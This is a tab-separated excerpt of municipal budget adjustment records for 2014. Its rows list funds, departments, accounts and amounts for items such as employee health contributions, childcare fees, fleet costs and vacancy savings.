7050	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-4033.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4033.0
7051	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-50448.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50448.0
7052	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-104660.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-104660.0
7053	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-6361.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6361.0
7054	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-5620.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5620.0
7055	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-18195.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18195.0
7056	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-2022.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2022.0
7057	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3825.0
7058	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-15995.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15995.0
7059	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-18389.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18389.0
7060	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	15.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15.0
7061	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2014	-40659.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40659.0
7062	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2014	-29923.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29923.0
7063	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2014	-29923.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29923.0
7064	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2014	-6393.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6393.0
7065	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2014	-24937.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-24937.0
7066	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2014	2823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2823.0
7067	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7068	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	10314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10314.0
7069	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
7070	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-22797.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22797.0
7071	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-14965.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14965.0
7072	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-10431.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10431.0
7073	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-8038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8038.0
7074	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7075	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-2226.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2226.0
7076	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1145.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1145.0
7077	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-71900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-71900.0
7078	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4906.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4906.0
7079	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7080	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544450.0	ADMIN-COMMUNICATION EFFORTS	810.0	 Supplies and Expenses	2014	51447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51447.0
7081	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2014	-35467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35467.0
7082	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2014	-31130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-31130.0
7083	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2014	-31130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-31130.0
7084	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2014	-103983.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-103983.0
7085	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2014	-39819.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-39819.0
7086	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2014	-3640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3640.0
7087	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2014	184.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	184.0
7088	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	325658.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325658.0
7089	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	6601.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6601.0
7090	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2014	6351.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6351.0
7091	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2014	2119.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2119.0
7092	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
7093	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7500.0
7094	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5001.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5001.0
7095	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	8690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8690.0
7096	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150.0
7097	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	121949.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	121949.0
7098	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	1036.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1036.0
7099	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	115.0
7100	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	2657.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2657.0
7101	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72.0
7102	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	1800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1800.0
7103	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7104	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7105	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7106	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7107	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7108	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522114.0	UTIL-LIGHT/POWER-PARKING AUTH	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7109	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408060.0	TOBACCO RETAILER LICENSE	608.0	Licenses and Permits	2014	-28099.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-28099.0
7110	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577840.0	ASSESSMENTS FOR CITY-OWNED PRO	820.0	 Supplies and Expenses	2014	447515.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	447515.0
7111	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2014	5517.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5517.0
7112	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	2930.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2930.0
7113	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2014	37000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37000.0
7114	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-8819.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8819.0
7115	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-4239.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4239.0
7116	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-14066.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14066.0
7117	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-27950.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27950.0
7118	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-5044.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5044.0
7119	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-13139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-13139.0
7120	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-3049.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3049.0
7121	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-7488.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7488.0
7122	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-3207.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3207.0
7123	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-5521.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5521.0
7124	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7125	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-8479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8479.0
7126	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-26456.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-26456.0
7127	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556150.0	SOLD NAME PLATES/BENCHES	808.0	 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
7128	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556180.0	EMBALMING SUPPLIES/EQUIPMENT	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
7129	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2014	807.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	807.0
7130	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	61232.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61232.0
7131	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2014	396.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	396.0
7132	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12000.0
7133	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	2564.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2564.0
7134	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577550.0	FARMERS' MARKET SUPPLIES		 Supplies and Expenses	2014	37735.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37735.0
7135	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2014	54095.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	54095.0
7136	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	806.0	 Supplies and Expenses	2014	261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	261.0
7137	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	5263.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5263.0
7138	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2014	5132.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5132.0
7139	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DCAP		Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
7140	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
7141	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	25700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25700.0
7142	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	7356.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7356.0
7143	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511749.0	VISION		Salaries and Wages	2014	547.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	547.0
7144	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2014	1270.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1270.0
7145	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNREALIZED GAIN / LOSS	659.0	Investment Income	2014	71486.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	71486.0
7146	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	401801.0	PROCEEDS	662.0	Other	2014	-70505.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-70505.0
7147	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402670.0	FUTURE REPLACEMENT-CNG FACILIT	650.0	Charges for Service	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
7148	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402690.0	CNG FUEL-DEPT USAGE	650.0	Charges for Service	2014	-245000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-245000.0
7149	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405760.0	ENHANCEMENT PURCHASES	650.0	Charges for Service	2014	-46125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46125.0
7150	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	29601.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29601.0
7151	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	3948.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3948.0
7152	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522920.0	COMMERCIAL VEHICLE REPAIRS	808.0	 Supplies and Expenses	2014	297106.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	297106.0
7153	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522950.0	CNG FUEL		 Supplies and Expenses	2014	205000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	205000.0
7154	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	14018.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14018.0
7155	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	591353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	591353.0
7156	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	7982.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7982.0
7157	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2014	7302.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7302.0
7158	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-17847.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-17847.0
7159	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-51863.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-51863.0
7160	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-135823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-135823.0
7161	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	408220.0	PUBLIC NOTIFICATION REVENUE	612.0	Charges for Service	2014	-9651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9651.0
7162	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7163	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7164	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511741.0	MEDICAL - POLICE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7165	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	804.0	Salaries and Wages	2014	-1077.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1077.0
7166	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	92696.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	92696.0
7167	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5794.0
7168	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	2625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2625.0
